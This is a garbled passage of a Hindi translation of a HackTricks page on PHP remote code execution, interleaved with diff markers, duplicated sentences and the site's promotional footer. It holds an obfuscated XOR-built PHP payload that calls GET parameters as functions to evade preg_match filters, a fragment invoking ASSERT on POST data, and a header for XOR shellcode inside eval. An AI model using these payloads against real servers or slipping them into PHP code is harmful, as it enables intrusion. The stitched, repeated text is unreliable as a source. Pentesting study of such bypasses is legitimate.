## RCE का दुरुपयोग करते हुए नया $\_GET\["a"]\($\_GET\["b"])
यदि आप किसी पेज पर **किसी मनमानी क्लास की नई ऑब्जेक्ट बना सकते हैं**, तो आप RCE प्राप्त कर सकते हैं, जानने के लिए निम्नलिखित पेज देखें:
यदि आप किसी पृष्ठ पर **किसी मनमानी क्लास की नई ऑब्जेक्ट बना सकते हैं**, तो आप RCE प्राप्त कर सकते हैं, जानने के लिए निम्नलिखित पृष्ठ देखें:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
@ -337,7 +334,7 @@ Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```
अधिक गहराई से समझने के लिए [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match) देखें
अधिक गहन व्याख्या के लिए [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match) देखें
### XOR Shellcode (eval के अंदर)
```bash
@ -403,10 +400,10 @@ $___($_[_]); // ASSERT($_POST[_]);
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
* **अपनी हैकिंग ट्रिक्स साझा करें PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में.
* 💬 [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में या **Twitter** 🐦 पर **मुझे फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज में PRs सबमिट करके.
</details>